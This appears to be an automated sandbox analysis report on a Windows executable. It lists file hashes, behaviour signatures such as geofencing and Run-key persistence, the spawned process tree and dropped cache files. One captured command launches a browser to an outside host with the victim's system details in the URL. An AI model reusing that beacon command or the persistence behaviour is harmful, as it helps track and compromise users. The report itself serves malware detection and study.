Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27-11-2022 15:17

General

  • Target

    1e7960a65a709610f36d00791c88717a984229e457146c4f5925cfb50df39b28.exe

  • Size

    143KB

  • MD5

    98513e29a9be23e63a13d0d950820666

  • SHA1

    bc08499739216a236d478ae98c8fc0b25d828df0

  • SHA256

    1e7960a65a709610f36d00791c88717a984229e457146c4f5925cfb50df39b28

  • SHA512

    ae3c8e4d1c8af8d3819811373e8618e3ad904148c8728e1eeec4dba3970742932c40bc8cf41a9e6a2964d081ccb056e93a4643488b6dd4ebd6423fb3227eeb68

  • SSDEEP

    3072:iN6ZekwVJIlgps5q9Eb648qwlS/+TfQO45Db/:pe9IB83ID5X/

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Drops file in Program Files directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\1e7960a65a709610f36d00791c88717a984229e457146c4f5925cfb50df39b28.exe
    "C:\Users\Admin\AppData\Local\Temp\1e7960a65a709610f36d00791c88717a984229e457146c4f5925cfb50df39b28.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:2764
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c "start http://securedfileinfo.com/404.jsp?chid=5300108^&rsn=plde^&details=^|v6.2.9200x64sp0.0ws^|tt31^|dt0^|dc100^|fs-2^|dh0^|ec13^|se12007^|dr4^|ds0^|rs0^|p1"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2236
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://securedfileinfo.com/404.jsp?chid=5300108&rsn=plde&details=|v6.2.9200x64sp0.0ws|tt31|dt0|dc100|fs-2|dh0|ec13|se12007|dr4|ds0|rs0|p1
        3⤵
        • Adds Run key to start application
        • Enumerates system info in registry
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:3340
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xf8,0x108,0x7ffd7f9e46f8,0x7ffd7f9e4708,0x7ffd7f9e4718
          4⤵
            PID:5076
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1908,6066386460296099969,12097845221681227918,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2220 /prefetch:2
            4⤵
              PID:3888
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1908,6066386460296099969,12097845221681227918,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2276 /prefetch:3
              4⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:3504
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1908,6066386460296099969,12097845221681227918,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2512 /prefetch:8
              4⤵
                PID:1164
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,6066386460296099969,12097845221681227918,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3536 /prefetch:1
                4⤵
                  PID:1564
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,6066386460296099969,12097845221681227918,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3548 /prefetch:1
                  4⤵
                    PID:988
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1908,6066386460296099969,12097845221681227918,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5364 /prefetch:8
                    4⤵
                      PID:2752
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,6066386460296099969,12097845221681227918,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4512 /prefetch:1
                      4⤵
                        PID:3300
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1908,6066386460296099969,12097845221681227918,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5756 /prefetch:8
                        4⤵
                          PID:3936
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,6066386460296099969,12097845221681227918,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6076 /prefetch:1
                          4⤵
                            PID:1560
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1908,6066386460296099969,12097845221681227918,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6080 /prefetch:1
                            4⤵
                              PID:1416
                            • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1908,6066386460296099969,12097845221681227918,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6324 /prefetch:8
                              4⤵
                                PID:4316
                              • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --configure-user-settings --verbose-logging --system-level --msedge --force-configure-user-settings
                                4⤵
                                • Drops file in Program Files directory
                                PID:4308
                                • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\MsEdgeCrashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x220,0x224,0x228,0x1fc,0x22c,0x7ff711eb5460,0x7ff711eb5470,0x7ff711eb5480
                                  5⤵
                                    PID:4964
                                • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1908,6066386460296099969,12097845221681227918,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6324 /prefetch:8
                                  4⤵
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:2596
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1908,6066386460296099969,12097845221681227918,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3540 /prefetch:8
                                  4⤵
                                    PID:3692
                            • C:\Windows\System32\CompPkgSrv.exe
                              C:\Windows\System32\CompPkgSrv.exe -Embedding
                              1⤵
                                PID:4532

                              Network

                              MITRE ATT&CK Enterprise v6

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

                                Filesize

                                1KB

                                MD5

                                7ef66f502cb164d6d88fd779895d5e07

                                SHA1

                                75c68e887afe0041c18bc01dc36ae719db07a436

                                SHA256

                                084f8949af79ac48c5c245e4bbeea807949d1e8e182e7d0487227231fcd97a77

                                SHA512

                                419b6e5def7e1051af856ea4256235fa4f1bdbf001b54f1db9e59c44f7da8f9cfa8d63f77e35345ec6d5c3ab13de10094281d44f42a7e1fd9d92b3b68ac5ba9e

                              • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_46F574BDF8F8E3AC29733131E4667BA4

                                Filesize

                                472B

                                MD5

                                03ad9fc0b00b5df3165dc2fb1e3b0a3e

                                SHA1

                                f8243335a8bc24d989bddd346048a055e1d0bdeb

                                SHA256

                                366b28d491f7fd632e31c1ce97f939555f7dcee14bb6875737ed2d3e96fa32ec

                                SHA512

                                a3cd8a001366e6c1b96d2b920d56e6efd34e9b69b9805e1a2b0c270346712e22420366f8bd18bbb1dd16fa60d481ad65b13385a66a3f1fa0d7aadaaa27b99796

                              • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA

                                Filesize

                                724B

                                MD5

                                f569e1d183b84e8078dc456192127536

                                SHA1

                                30c537463eed902925300dd07a87d820a713753f

                                SHA256

                                287bc80237497eb8681dbf136a56cc3870dd5bd12d48051525a280ae62aab413

                                SHA512

                                49553b65a8e3fc0bf98c1bc02bae5b22188618d8edf8e88e4e25932105796956ae8301c63c487e0afe368ea39a4a2af07935a808f5fb53287ef9287bc73e1012

                              • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

                                Filesize

                                410B

                                MD5

                                e3ba8db0e852afc0c8ff4f7316f7b78e

                                SHA1

                                9f2ab223a102f35db43c665f89210d4e660ad3f4

                                SHA256

                                88e7a24ce43368b47688c21a7be5f367a6afdd3db49d557c98fad875d4b0d151

                                SHA512

                                60ece256ad9fdb3ae1b5f53bf969d47275c68da0d615df8febf1c6b2f30fd38ee550e3cfaba51e24b1188c02107e013822e48a093ebbcac5b283687dd1355eff

                              • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_46F574BDF8F8E3AC29733131E4667BA4

                                Filesize

                                402B

                                MD5

                                59598ecc63e9a4ab4f6d251ea4a7acb6

                                SHA1

                                6d596cc0e21a110bc93ed30b6947ab71469dcca4

                                SHA256

                                1f0d4a9df7509d67de025ab6a96c62fb892daf80601df7707e9692c05fa04bc9

                                SHA512

                                cd0d6a43e04c7cbbe0ef64eedc92f0c94fcf29d5f19a85f97b6c3800b23cfa42749235e778976d045c1cd0c5eed71144a8601b1afcbe9c887a537c06d8bf8c2a

                              • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA

                                Filesize

                                392B

                                MD5

                                44947ecd843847f596873acc0c7edc1b

                                SHA1

                                5a1f1d233e59398832c70a78a03219fe3d758747

                                SHA256

                                d7e4a8f26bc14810a53c0cf021b4ccc50f4e2d7aa925973ecca87e9b2aac596a

                                SHA512

                                fa7f67a43d953b7047e58ba50539cda2d9616465d5ac34b846b3cb072b294f3bc1890725b0bdcc14fa5a1ac80daa3e38c53c56e65074e679358cf377360aab34

                              • memory/988-144-0x0000000000000000-mapping.dmp

                              • memory/1164-140-0x0000000000000000-mapping.dmp

                              • memory/1416-160-0x0000000000000000-mapping.dmp

                              • memory/1560-158-0x0000000000000000-mapping.dmp

                              • memory/1564-142-0x0000000000000000-mapping.dmp

                              • memory/2236-132-0x0000000000000000-mapping.dmp

                              • memory/2596-163-0x0000000000000000-mapping.dmp

                              • memory/2752-146-0x0000000000000000-mapping.dmp

                              • memory/3300-148-0x0000000000000000-mapping.dmp

                              • memory/3340-133-0x0000000000000000-mapping.dmp

                              • memory/3504-137-0x0000000000000000-mapping.dmp

                              • memory/3692-165-0x0000000000000000-mapping.dmp

                              • memory/3888-136-0x0000000000000000-mapping.dmp

                              • memory/3936-156-0x0000000000000000-mapping.dmp

                              • memory/4308-161-0x0000000000000000-mapping.dmp

                              • memory/4964-162-0x0000000000000000-mapping.dmp

                              • memory/5076-134-0x0000000000000000-mapping.dmp